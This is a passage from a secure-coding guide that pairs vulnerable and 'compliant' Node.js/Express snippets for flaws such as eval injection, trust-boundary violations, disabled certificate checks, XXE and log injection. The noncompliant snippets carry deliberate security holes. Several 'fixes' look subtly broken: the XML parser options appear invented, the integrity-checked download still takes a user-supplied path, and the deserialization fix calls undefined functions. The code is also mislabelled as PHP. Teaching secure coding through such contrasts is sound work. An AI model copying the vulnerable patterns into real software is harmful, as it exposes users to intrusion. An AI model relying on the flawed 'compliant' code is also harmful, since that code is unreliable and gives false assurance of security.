hardcoded directly in the code. Storing sensitive information, such as database credentials, in environment variables provides an additional layer of security. By utilizing environment variables, the credentials are kept separate from the codebase and can be easily managed and protected in a secure manner.\n\n\nRemember to configure the environment variables securely on the server hosting the application to ensure the credentials are properly protected.\n\n\n\n\n## Trust Boundary Violation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.post('/submitForm', (req, res) => {\n  const isAdmin = req.body.isAdmin;\n\n  if (isAdmin) {\n    // Perform privileged operation\n    grantAdminAccess();\n  } else {\n    // Process user request\n    processUserRequest();\n  }\n\n  res.send('Form submitted successfully');\n});\n\nfunction grantAdminAccess() {\n  // Code to grant admin access\n  // ...\n}\n\nfunction processUserRequest() {\n  // Code to process user request\n  // ...\n}\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, there is no proper validation or enforcement of the trust boundary between user input and privileged operations. The code blindly trusts the value of req.body.isAdmin to determine whether the user should be granted admin access or not. This trust boundary violation allows an attacker to manipulate the value of isAdmin and gain unauthorized admin privileges.\n\n\nTo address this issue, here's a compliant code example that demonstrates proper trust boundary enforcement:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.post('/submitForm', (req, res) => {\n  const isAdmin = Boolean(req.body.isAdmin);\n\n  if (isAdmin) {\n    // Verify user authentication and authorization before granting admin access\n    authenticateAndAuthorizeUser(req)\n      .then(() => {\n        grantAdminAccess();\n        res.send('Admin access granted');\n      })\n      .catch(() => {\n        res.status(403).send('Access denied');\n      });\n  } else {\n    // Process user request\n    processUserRequest();\n    res.send('Form submitted successfully');\n  }\n});\n\nfunction grantAdminAccess() {\n  // Code to grant admin access\n  // ...\n}\n\nfunction processUserRequest() {\n  // Code to process user request\n  // ...\n}\n\nfunction authenticateAndAuthorizeUser(req) {\n  // Perform user authentication and authorization\n  // ...\n  // Return a promise that resolves if the user is authenticated and authorized, or rejects otherwise\n}\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n\n```\n\nIn the compliant code, the value of req.body.isAdmin is properly validated and converted to a boolean using Boolean(req.body.isAdmin). Additionally, the code enforces a trust boundary by explicitly checking the user's authentication and authorization before granting admin access. The authenticateAndAuthorizeUser function is responsible for performing the necessary authentication and authorization checks and returns a promise that resolves if the user is authenticated and authorized or rejects otherwise.\n\n\nBy enforcing the trust boundary and properly validating user input, the code mitigates the risk of unauthorized access and ensures that privileged operations are only performed when appropriate authentication and authorization are established.\n\n\n\n\n## Insufficiently Protected Credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.post('/login', (req, res) => {\n  const username = req.body.username;\n  const password = req.body.password;\n\n  // Store the credentials in plain text\n  storeCredentials(username, password);\n\n  // Perform authentication\n  const isAuthenticated = authenticate(username, password);\n\n  if (isAuthenticated) {\n    res.send('Login successful');\n  } else {\n    res.send('Login failed');\n  }\n});\n\nfunction storeCredentials(username, password) {\n  // Code to store credentials (noncompliant)\n  // ...\n}\n\nfunction authenticate(username, password) {\n  // Code to authenticate user\n  // ...\n}\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the user's credentials are stored in plain text by calling the storeCredentials function. Storing sensitive information, such as passwords, in plain text leaves them vulnerable to unauthorized access if the system is compromised.\n\n\nTo address this issue, here's a compliant code example that demonstrates the proper protection of credentials using a secure hashing algorithm:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst bcrypt = require('bcrypt');\nconst app = express();\n\nconst saltRounds = 10;\n\napp.post('/login', async (req, res) => {\n  const username = req.body.username;\n  const password = req.body.password;\n\n  // Hash the password\n  const hashedPassword = await hashPassword(password);\n\n  // Store the hashed password\n  storeCredentials(username, hashedPassword);\n\n  // Perform authentication\n  const isAuthenticated = await authenticate(username, password);\n\n  if (isAuthenticated) {\n    res.send('Login successful');\n  } else {\n    res.send('Login failed');\n  }\n});\n\nasync function hashPassword(password) {\n  // Hash the password using bcrypt\n  const salt = await bcrypt.genSalt(saltRounds);\n  const hashedPassword = await bcrypt.hash(password, salt);\n  return hashedPassword;\n}\n\nfunction storeCredentials(username, hashedPassword) {\n  // Code to store hashed credentials\n  // ...\n}\n\nasync function authenticate(username, password) {\n  // Retrieve hashed password from storage\n  const storedHashedPassword = await getHashedPassword(username);\n\n  // Compare the provided password with the stored hashed password\n  const isAuthenticated = await bcrypt.compare(password, storedHashedPassword);\n  return isAuthenticated;\n}\n\nasync function getHashedPassword(username) {\n  // Code to retrieve hashed password from storage\n  // ...\n}\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, the user's password is protected by using the bcrypt library to securely hash the password before storing it. The hashPassword function generates a salt and hashes the password using bcrypt. The resulting hashed password is then stored using the storeCredentials function.\n\nDuring authentication, the stored hashed password is retrieved using the getHashedPassword function. The provided password is compared with the stored hashed password using the bcrypt.compare function, which performs a secure comparison without revealing the original password.\n\nBy properly protecting credentials with a strong hashing algorithm like bcrypt, the code ensures that even if the stored passwords are compromised, they are not easily readable or usable by an attacker.\n\n\n\n\n## Restriction of XML External Entity Reference\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst bodyParser = require('body-parser');\nconst xml2js = require('xml2js');\n\napp.use(bodyParser.text({ type: 'text/xml' }));\n\napp.post('/parse-xml', (req, res) => {\n  const xmlData = req.body;\n\n  // Parse the XML data\n  xml2js.parseString(xmlData, (err, result) => {\n    if (err) {\n      res.status(400).send('Invalid XML data');\n    } else {\n      // Process the XML data\n      // ...\n      res.send('XML data processed successfully');\n    }\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the XML data received from the client is parsed using the xml2js library without proper restriction of XML external entity references. This can lead to XXE attacks where an attacker can include external entities and read arbitrary files from the server or perform other malicious actions.\n\n\nTo address this issue, here's a compliant code example that demonstrates the restriction of XML external entity references:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst bodyParser = require('body-parser');\nconst xml2js = require('xml2js');\n\napp.use(bodyParser.text({ type: 'text/xml' }));\n\napp.post('/parse-xml', (req, res) => {\n  const xmlData = req.body;\n\n  // Configure the XML parser to disable external entity references\n  const parser = new xml2js.Parser({\n    explicitCharkey: true,\n    explicitRoot: false,\n    explicitArray: false,\n    ignoreAttrs: true,\n    mergeAttrs: false,\n    xmlns: false,\n    allowDtd: false,\n    allowXmlExternalEntities: false, // Disable external entity references\n  });\n\n  // Parse the XML data\n  parser.parseString(xmlData, (err, result) => {\n    if (err) {\n      res.status(400).send('Invalid XML data');\n    } else {\n      // Process the XML data\n      // ...\n      res.send('XML data processed successfully');\n    }\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, the XML parser from the xml2js library is configured with the allowXmlExternalEntities option set to false, which disables external entity references. This prevents potential XXE attacks by disallowing the parsing of external entities and ensures that only safe XML data is processed.\n\nBy restricting XML external entity references, the code mitigates the risk of XXE attacks and helps maintain the integrity and security of the application.\n\n\n\n\n## Vulnerable and Outdated Components\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst bodyParser = require('body-parser');\nconst mongo = require('mongo');\n\napp.use(bodyParser.json());\n\napp.post('/user', (req, res) => {\n  const user = req.body;\n  mongo.connect('mongodb://localhost:27017', (err, client) => {\n    if (err) {\n      res.status(500).send('Internal Server Error');\n    } else {\n      const db = client.db('myapp');\n      db.collection('users').insertOne(user, (err, result) => {\n        if (err) {\n          res.status(500).send('Internal Server Error');\n        } else {\n          res.status(200).send('User created successfully');\n        }\n      });\n    }\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, there are two issues related to vulnerable and outdated components:\n\n1. The mongo package is used to connect to a MongoDB database. However, the version of the package being used may have known vulnerabilities or be outdated. This can expose the application to potential security risks.\n\n2. The code does not handle error scenarios properly. In case of an error during the database connection or user insertion, the application simply responds with an \"Internal Server Error\" message. This lack of detailed error handling can make it difficult to identify and resolve security issues or potential vulnerabilities.\n\n\n\nTo address these issues, here's a compliant code example that demonstrates the use of secure and up-to-date components as well as improved error handling:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst bodyParser = require('body-parser');\nconst MongoClient = require('mongodb').MongoClient;\n\napp.use(bodyParser.json());\n\napp.post('/user', (req, res) => {\n  const user = req.body;\n  MongoClient.connect('mongodb://localhost:27017', { useUnifiedTopology: true }, (err, client) => {\n    if (err) {\n      console.error(err);\n      res.status(500).send('Database connection error');\n    } else {\n      const db = client.db('myapp');\n      db.collection('users').insertOne(user, (err, result) => {\n        if (err) {\n          console.error(err);\n          res.status(500).send('User creation error');\n        } else {\n          res.status(200).send('User created successfully');\n        }\n        client.close(); // Close the database connection\n      });\n    }\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, the following improvements have been made:\n\n1. The mongo package has been replaced with mongodb package, which is actively maintained and up-to-date.\n\n2. The useUnifiedTopology option is added to the MongoClient connection to ensure a secure and recommended connection topology.\n\n3. Detailed error handling is implemented by logging the error messages to the console. This provides better visibility into potential issues and aids in troubleshooting.\n\n4. The client.close() method is called to close the database connection after the operation is completed. This helps prevent resource leaks and ensures proper management of the database connection.\n\nBy using secure and up-to-date components, as well as implementing improved error handling practices, the compliant code reduces the risk of vulnerabilities and ensures a more robust and secure application.\n\n\n\n\n\n## Improper Validation of Certificate with Host Mismatch\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst https = require('https');\n\nconst options = {\n  hostname: 'example.com',\n  port: 443,\n  path: '/',\n  method: 'GET',\n  rejectUnauthorized: false, // Disabling certificate validation\n};\n\nconst req = https.request(options, (res) => {\n  res.on('data', (data) => {\n    console.log(data.toString());\n  });\n});\n\nreq.end();\n```\n\nIn this noncompliant code, the rejectUnauthorized option is set to false, effectively disabling certificate validation. This means that the Node.js application will accept any certificate, even if it doesn't match the expected hostname (example.com in this case). This can lead to security vulnerabilities, such as man-in-the-middle attacks or spoofing.\n\n\nTo address this issue, here's a compliant code example that demonstrates proper validation of the certificate with the expected hostname:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst https = require('https');\nconst tls = require('tls');\n\nconst options = {\n  hostname: 'example.com',\n  port: 443,\n  path: '/',\n  method: 'GET',\n  checkServerIdentity: (host, cert) => {\n    const err = tls.checkServerIdentity(host, cert);\n    if (err) {\n      throw err; // Terminate the connection on certificate mismatch\n    }\n  },\n};\n\nconst req = https.request(options, (res) => {\n  res.on('data', (data) => {\n    console.log(data.toString());\n  });\n});\n\nreq.end();\n```\n\n\nIn the compliant code, the checkServerIdentity option is used to provide a custom callback function that performs proper certificate validation. The tls.checkServerIdentity function is used to compare the expected hostname (example.com) with the certificate's Common Name (CN) or Subject Alternative Names (SANs). If there is a mismatch, an error is thrown, terminating the connection.\n\nBy implementing proper certificate validation, the compliant code ensures that the certificate presented by the server matches the expected hostname, reducing the risk of man-in-the-middle attacks and providing a more secure communication channel.\n\n\n\n\n\n\n\n## Improper Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.post('/login', (req, res) => {\n  const username = req.body.username;\n  const password = req.body.password;\n\n  if (username === 'admin' && password === 'admin123') {\n    // Successful authentication\n    res.send('Login successful!');\n  } else {\n    // Failed authentication\n    res.send('Invalid username or password!');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the authentication mechanism relies on a simple username and password check. The username and password are received from the request body, and a hardcoded comparison is performed to determine whether the authentication is successful. This approach is insecure because it lacks proper security measures, such as hashing and salting passwords, implementing strong authentication protocols, and protecting against brute-force attacks.\n\n\nTo address this issue, here's a compliant code example that demonstrates improved authentication practices:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst bcrypt = require('bcrypt');\n\n// Mock user data\nconst users = [\n  {\n    username: 'admin',\n    password: '$2b$10$rZrVJnI1.Y9OyK6ZrLqmguXHBXYTNcIQ00CJQc8XU1gYRGmdxcqzK', // Hashed password: \"admin123\"\n  },\n];\n\napp.use(express.json());\n\napp.post('/login', (req, res) => {\n  const username = req.body.username;\n  const password = req.body.password;\n\n  const user = users.find((user) => user.username === username);\n  if (!user) {\n    // User not found\n    return res.status(401).send('Invalid username or password!');\n  }\n\n  bcrypt.compare(password, user.password, (err, result) => {\n    if (err) {\n      // Error during password comparison\n      return res.status(500).send('Internal Server Error');\n    }\n\n    if (result) {\n      // Successful authentication\n      res.send('Login successful!');\n    } else {\n      // Failed authentication\n      res.status(401).send('Invalid username or password!');\n    }\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, several improvements are made to the authentication process. Instead of a simple comparison, the code uses the bcrypt library to hash and compare passwords securely. The user's password is stored as a hashed value in the user data. When a login request is received, the code retrieves the user from the user data based on the provided username. Then, bcrypt.compare is used to compare the provided password with the stored hashed password.\n\nBy implementing proper password hashing and secure comparison, the compliant code enhances the security of the authentication process, making it more resistant to password cracking attempts and improving overall application security.\n\n\n\n\n\n\n\n## Session Fixation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst session = require('express-session');\nconst app = express();\n\napp.use(\n  session({\n    secret: 'insecuresecret',\n    resave: false,\n    saveUninitialized: true,\n  })\n);\n\napp.get('/login', (req, res) => {\n  // Generate a new session ID and store it in the session cookie\n  req.session.regenerate(() => {\n    req.session.userId = 'admin';\n    res.send('Logged in!');\n  });\n});\n\napp.get('/profile', (req, res) => {\n  // Accessing the profile without authentication\n  const userId = req.session.userId;\n  if (userId) {\n    res.send(`Welcome, ${userId}!`);\n  } else {\n    res.send('Please log in!');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the application uses the express-session middleware to manage sessions. However, it is vulnerable to session fixation attacks. The code generates a new session ID upon visiting the /login route but does not invalidate the existing session ID. This allows an attacker to fixate a session ID by initiating a session and then tricking the victim into using the same session ID.\n\n\nTo address this issue, here's a compliant code example that demonstrates session fixation prevention:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst session = require('express-session');\nconst crypto = require('crypto');\nconst app = express();\n\napp.use(\n  session({\n    secret: 'securesecret',\n    resave: false,\n    saveUninitialized: true,\n    genid: () => {\n      // Generate a unique session ID\n      return crypto.randomBytes(16).toString('hex');\n    },\n  })\n);\n\napp.get('/login', (req, res) => {\n  // Regenerate session ID to prevent session fixation\n  req.session.regenerate(() => {\n    req.session.userId = 'admin';\n    res.send('Logged in!');\n  });\n});\n\napp.get('/profile', (req, res) => {\n  // Accessing the profile without authentication\n  const userId = req.session.userId;\n  if (userId) {\n    res.send(`Welcome, ${userId}!`);\n  } else {\n    res.send('Please log in!');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, the session ID is regenerated upon successful login by using the regenerate method provided by the express-session middleware. This invalidates the previous session ID and generates a new, unique one. By doing so, the code prevents session fixation attacks because the attacker's fixed session ID becomes invalid.\n\nBy implementing session ID regeneration and ensuring that a new session ID is issued upon login, the compliant code mitigates the session fixation vulnerability and enhances the overall security of the application.\n\n\n\n\n\n## Inclusion of Functionality from Untrusted Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/dynamic', (req, res) => {\n  const functionName = req.query.function;\n\n  // Execute the specified function from untrusted user input\n  eval(functionName);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the application exposes an endpoint /dynamic that takes a function query parameter. The code uses the eval() function to directly execute the specified function from the untrusted user input. This approach is highly dangerous as it allows arbitrary code execution, enabling attackers to execute malicious code on the server.\n\n\nTo address this issue, here's a compliant code example that avoids the inclusion of functionality from untrusted control:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/dynamic', (req, res) => {\n  const functionName = req.query.function;\n\n  // Validate the function name against a whitelist\n  if (isFunctionAllowed(functionName)) {\n    // Call the allowed function from a predefined set\n    const result = callAllowedFunction(functionName);\n    res.send(result);\n  } else {\n    res.status(400).send('Invalid function');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n\nfunction isFunctionAllowed(functionName) {\n  // Check if the function name is in the allowed set\n  const allowedFunctions = ['function1', 'function2', 'function3'];\n  return allowedFunctions.includes(functionName);\n}\n\nfunction callAllowedFunction(functionName) {\n  // Implement the logic for each allowed function\n  if (functionName === 'function1') {\n    return 'Function 1 called';\n  } else if (functionName === 'function2') {\n    return 'Function 2 called';\n  } else if (functionName === 'function3') {\n    return 'Function 3 called';\n  }\n}\n```\n\n\nIn the compliant code, the application validates the function query parameter against a whitelist of allowed functions using the isFunctionAllowed() function. If the specified function is allowed, the code calls the corresponding function from a predefined set using the callAllowedFunction() function. This approach ensures that only safe and intended functionality is executed based on the whitelist, mitigating the risk of executing arbitrary or malicious code.\n\nBy implementing this approach, the compliant code prevents the inclusion of functionality from untrusted control and helps protect the application from potential security vulnerabilities and attacks.\n\n\n\n\n\n## Download of Code Without Integrity Check\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/download', (req, res) => {\n  const fileName = req.query.filename;\n\n  // Download the file without integrity check\n  res.download(fileName);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the application exposes an endpoint /download that takes a filename query parameter. The code uses the res.download() function to download the file specified by the user without performing any integrity check. This approach is insecure because it allows users to download potentially malicious or tampered files, which can lead to security vulnerabilities in the application or compromise the user's system.\n\n\nTo address this issue, here's a compliant code example that incorporates an integrity check before downloading the file:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst fs = require('fs');\nconst crypto = require('crypto');\n\napp.get('/download', (req, res) => {\n  const fileName = req.query.filename;\n\n  // Read the file contents\n  fs.readFile(fileName, (err, data) => {\n    if (err) {\n      res.status(404).send('File not found');\n      return;\n    }\n\n    // Calculate the file's hash\n    const fileHash = crypto.createHash('sha256').update(data).digest('hex');\n\n    // Perform integrity check\n    if (isFileIntegrityValid(fileHash)) {\n      // Download the file\n      res.download(fileName);\n    } else {\n      res.status(403).send('Integrity check failed');\n    }\n  });\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n\nfunction isFileIntegrityValid(fileHash) {\n  // Compare the calculated hash with a trusted hash\n  const trustedHash = '...'; // Replace with the trusted hash\n  return fileHash === trustedHash;\n}\n```\n\n\nIn the compliant code, the application reads the file specified by the user using the fs.readFile() function and calculates its hash using a secure cryptographic hash function (sha256 in this example). The code then compares the calculated hash with a trusted hash to perform an integrity check using the isFileIntegrityValid() function. If the file's integrity is valid, the code allows the file to be downloaded using the res.download() function. Otherwise, an appropriate error response is sent.\n\nBy implementing this approach, the compliant code ensures that files are downloaded only after passing an integrity check. This helps protect the application and its users from downloading potentially malicious or tampered files, reducing the risk of security vulnerabilities and compromising the system's integrity.\n\n\n\n\n\n\n## Deserialization of Untrusted Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst bodyParser = require('body-parser');\nconst deserialize = require('deserialize');\n\n// Middleware to parse JSON data\napp.use(bodyParser.json());\n\napp.post('/user', (req, res) => {\n  const userData = req.body;\n\n  // Deserialize user data without validation\n  const user = deserialize(userData);\n\n  // Process user data\n  // ...\n\n  res.status(200).send('User data processed successfully');\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the application exposes a POST endpoint /user that expects JSON data containing user information. The code uses the deserialize library to deserialize the JSON data into a user object without performing any validation or sanitization. This approach is insecure because it allows the deserialization of untrusted data, which can lead to remote code execution, object injection, or other security vulnerabilities.\n\n\nTo address this issue, here's a compliant code example that incorporates proper validation and sanitization before deserializing the data:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst bodyParser = require('body-parser');\nconst validateUser = require('./validateUser');\n\n// Middleware to parse JSON data\napp.use(bodyParser.json());\n\napp.post('/user', (req, res) => {\n  const userData = req.body;\n\n  // Validate user data\n  const validationResult = validateUser(userData);\n\n  if (validationResult.isValid) {\n    // Sanitize user data\n    const sanitizedData = sanitizeUserData(validationResult.data);\n\n    // Deserialize user data\n    const user = deserialize(sanitizedData);\n\n    // Process user data\n    // ...\n\n    res.status(200).send('User data processed successfully');\n  } else {\n    res.status(400).send('Invalid user data');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, the application includes a validation step using the validateUser() function before deserializing the data. The validateUser() function performs necessary checks and returns a validation result object indicating whether the data is valid or not. If the data is valid, the code proceeds to sanitize the user data using the sanitizeUserData() function, which ensures that any potentially dangerous content is removed or properly handled. Finally, the sanitized data is deserialized using the deserialize() function, and the application can safely process the user data.\n\n\n\nBy implementing this approach, the compliant code ensures that untrusted data is properly validated, sanitized, and deserialized, reducing the risk of deserialization vulnerabilities and protecting the application from potential security exploits.\n\n\n\n\n\n\n## Insufficient Logging\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/user/:id', (req, res) => {\n  const userId = req.params.id;\n\n  // Fetch user from the database\n  const user = db.getUser(userId);\n\n  // Return user details\n  res.status(200).json(user);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the application has an endpoint /user/:id that retrieves user details based on the provided id. However, the code lacks sufficient logging, making it challenging to track and investigate potential issues or security events. Without proper logging, it becomes difficult to identify unauthorized access attempts, suspicious activities, or errors that occur during user retrieval.\n\n\nTo address this issue, here's a compliant code example that incorporates sufficient logging practices:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst logger = require('winston');\n\n// Configure logger\nlogger.configure({\n  transports: [\n    new logger.transports.Console(),\n    new logger.transports.File({ filename: 'app.log' })\n  ]\n});\n\napp.get('/user/:id', (req, res) => {\n  const userId = req.params.id;\n\n  // Log the user retrieval event\n  logger.info(`User retrieval requested for id: ${userId}`);\n\n  // Fetch user from the database\n  const user = db.getUser(userId);\n\n  if (user) {\n    // Log successful user retrieval\n    logger.info(`User retrieved successfully: ${user.name}`);\n\n    // Return user details\n    res.status(200).json(user);\n  } else {\n    // Log unsuccessful user retrieval\n    logger.warn(`User not found for id: ${userId}`);\n\n    // Return appropriate error response\n    res.status(404).json({ error: 'User not found' });\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, the application incorporates the Winston logging library to log relevant events. The logger is configured with two transports: the console for immediate visibility during development and a file transport for persistent logging.\n\nThe code adds logging statements to record important events such as user retrieval requests, successful user retrievals, and unsuccessful attempts. This information helps in tracking user interactions and identifying potential security issues or application errors.\n\nBy implementing this approach, the compliant code ensures that sufficient logging is in place, providing valuable insights into the application's behavior, security-related events, and potential areas of concern.\n\n\n\n## Improper Output Neutralization for Logs\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst fs = require('fs');\n\napp.get('/user/:id', (req, res) => {\n  const userId = req.params.id;\n\n  // Log the user retrieval event\n  const logMessage = `User retrieval requested for id: ${userId}`;\n  fs.appendFile('app.log', logMessage, (err) => {\n    if (err) {\n      console.error('Error writing to log file:', err);\n    }\n  });\n\n  // Fetch user from the database\n  const user = db.getUser(userId);\n\n  // Return user details\n  res.status(200).json(user);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the application logs the user retrieval event by directly appending the log message to a log file using fs.appendFile(). However, the log message is not properly neutralized, which can lead to log injection vulnerabilities. An attacker could potentially inject malicious content into the log message, leading to log forging or other security risks.\n\n\nTo address this issue, here's a compliant code example that incorporates proper output neutralization for logs:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\nconst fs = require('fs');\nconst { sanitizeLogMessage } = require('./utils');\n\napp.get('/user/:id', (req, res) => {\n  const userId = req.params.id;\n\n  // Log the user retrieval event\n  const logMessage = `User retrieval requested for id: ${sanitizeLogMessage(userId)}`;\n  fs.appendFile('app.log', logMessage, (err) => {\n    if (err) {\n      console.error('Error writing to log file:', err);\n    }\n  });\n\n  // Fetch user from the database\n  const user = db.getUser(userId);\n\n  // Return user details\n  res.status(200).json(user);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, a separate sanitizeLogMessage function is introduced to properly neutralize the log message. This function can apply necessary escaping or filtering techniques to prevent log injection attacks. The sanitizeLogMessage function should be implemented with appropriate techniques based on the log storage format and requirements.\n\nBy using proper output neutralization, the compliant code ensures that any user-controlled input included in log messages is properly sanitized or encoded, preventing log injection vulnerabilities and maintaining the integrity and security of the log records.\n\n\n\n\n\n## Omission of Security-relevant Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.post('/login', (req, res) => {\n  const username = req.body.username;\n  const password = req.body.password;\n\n  // Perform login logic\n\n  if (loggedIn) {\n    res.status(200).send('Login successful');\n  } else {\n    res.status(401).send('Invalid credentials');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn this noncompliant code, the application handles user login functionality but fails to provide detailed error messages or log security-relevant information. When the login fails, it simply responds with a generic \"Invalid credentials\" message, which does not provide enough information to the user or the application administrators to understand the reason for the login failure. This lack of specific error information can make it difficult to troubleshoot and address security issues effectively.\n\n\nTo address this issue, here's a compliant code example that includes security-relevant information in error messages and logs:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.post('/login', (req, res) => {\n  const username = req.body.username;\n  const password = req.body.password;\n\n  // Perform login logic\n\n  if (loggedIn) {\n    res.status(200).send('Login successful');\n  } else {\n    console.error(`Login failed for username: ${username}`);\n    res.status(401).send('Invalid username or password');\n  }\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\n\nIn the compliant code, when the login fails, the application logs an error message that includes the username that failed to log in. Additionally, the response message is updated to provide a more informative error message, indicating that either the username or password is invalid. This improvement helps in identifying and troubleshooting login failures, as well as providing more meaningful feedback to the user.\n\n\nBy including security-relevant information in error messages and logs, the compliant code enhances the application's security posture by improving visibility and enabling better incident response and debugging capabilities.\n\n\n\n\n\n\n\n\n## Sensitive Information into Log File\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/user/:id', (req, res) => {\n  const userId = req.params.id;\n\n  // Fetch user information from the database\n  const user = User.findById(userId);\n\n  // Log user information\n  console.log(`User information: ${user}`);\n\n  res.status(200).json(user);\n});\n\napp.listen(3000, () => {\n  console.log('Server started on port 3000');\n});\n```\n\nIn this noncompliant code, the application logs sensitive user information using the console.log function. The user object, which contains potentially confidential data, is directly passed to the log statement. This practice can expose sensitive information to the log files, making them accessible to unauthorized users or increasing the risk of data leakage.\n\n\nTo address this issue, here's a compliant code example that avoids logging sensitive information:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nconst express = require('express');\nconst app = express();\n\napp.get('/user/:id', (req, res) => {\n  const userId = 